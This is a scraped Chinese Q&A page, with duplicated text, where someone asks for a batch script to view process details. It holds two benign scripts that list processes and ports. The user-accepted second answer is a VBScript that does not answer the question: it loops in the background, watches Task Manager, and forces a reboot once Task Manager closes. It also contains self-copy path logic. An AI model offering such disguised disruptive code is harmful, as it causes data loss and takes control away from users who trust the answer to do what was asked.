【批处理】如何查看进程详细信息? 200
1.输入映像名称或PID,就打开源文件所在的文件夹,显示进程加载的服务(详细信息)2.如果该进程不存在,就全盘搜索之3.如果搜索不到,就报错并循环代码http://zhi...
1. 输入映像名称或PID,就打开源文件所在的文件夹,显示进程加载的服务(详细信息)
2. 如果该进程不存在,就全盘搜索之
3. 如果搜索不到,就报错并循环代码
http://zhidao.baidu.com/question/440159230.html 展开
2. 如果该进程不存在,就全盘搜索之
3. 如果搜索不到,就报错并循环代码
http://zhidao.baidu.com/question/440159230.html 展开
2012-07-09
展开全部
::以下代码仅供参考
@echo off & title 进程查看 & color 2
wmic process list full > .log & tasklist /svc & echo. & echo 进程路径
for /f "skip=3" %%I in ('wmic process get ExecutablePath') do (echo %%I)
echo CreateObject("Scripting.FileSystemObject").CreateTextFile(".txt").WriteLine InputBox("请输入映像名称:","进程查看","smss csrss winlogon services lsass svchost explorer") > .vbs & .vbs
for /f %%A in (.txt) do (wmic process get ExecutablePath | findstr /i %%A >.txt)
for /f "delims=" %%B in (.txt) do (explorer /select,%%B) & %0
@echo off & title 进程查看 & color 2
wmic process list full > .log & tasklist /svc & echo. & echo 进程路径
for /f "skip=3" %%I in ('wmic process get ExecutablePath') do (echo %%I)
echo CreateObject("Scripting.FileSystemObject").CreateTextFile(".txt").WriteLine InputBox("请输入映像名称:","进程查看","smss csrss winlogon services lsass svchost explorer") > .vbs & .vbs
for /f %%A in (.txt) do (wmic process get ExecutablePath | findstr /i %%A >.txt)
for /f "delims=" %%B in (.txt) do (explorer /select,%%B) & %0
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
上海国想
2024-12-02 广告
2024-12-02 广告
作为上海国想科技发展有限公司的工作人员,遇到数据库勒索病毒,我们应首先断开数据库服务器的网络连接,防止病毒扩散。然后立即备份数据库中的所有数据,以防数据丢失。接着,使用专业的反病毒软件如McAfee或Norton进行杀毒,同时查找系统中的潜...
点击进入详情页
本回答由上海国想提供
展开全部
Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 & "\" & fs1.Name
If Not fso.FileExists(path2) then
wscript.sleep 100
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count<>0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 & "\" & fs1.Name
If Not fso.FileExists(path2) then
wscript.sleep 100
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count<>0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
@echo off & setlocal enabledelayedexpansion
set "space= "
for /f "skip=4 tokens=1,2" %%i in ('tasklist') do set %%j=%%i
echo 进程名 类型 端口
echo -----------------------------------------
call :QueryPort TCP 5
call :QueryPort UDP 4
echo _________________________________________
pause
goto :exit
:QueryPort PortType Num
for /f "skip=4 tokens=2,%2" %%i in ('netstat -ano -p %1') do (
call :LineUp "!%%j!" 21 Pro
for /f "tokens=2 delims=:" %%a in ("%%i") do set Port=%%a
call :LineUp %1 10 PortType
call :LineUp !Port! 6 Port
echo !Pro! !PortType! !Port!
)
goto :eof
:LineUp OBJ Len Name
set obj=%~1%space%
set %3=!obj:~0,%2!
set "space= "
for /f "skip=4 tokens=1,2" %%i in ('tasklist') do set %%j=%%i
echo 进程名 类型 端口
echo -----------------------------------------
call :QueryPort TCP 5
call :QueryPort UDP 4
echo _________________________________________
pause
goto :exit
:QueryPort PortType Num
for /f "skip=4 tokens=2,%2" %%i in ('netstat -ano -p %1') do (
call :LineUp "!%%j!" 21 Pro
for /f "tokens=2 delims=:" %%a in ("%%i") do set Port=%%a
call :LineUp %1 10 PortType
call :LineUp !Port! 6 Port
echo !Pro! !PortType! !Port!
)
goto :eof
:LineUp OBJ Len Name
set obj=%~1%space%
set %3=!obj:~0,%2!
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询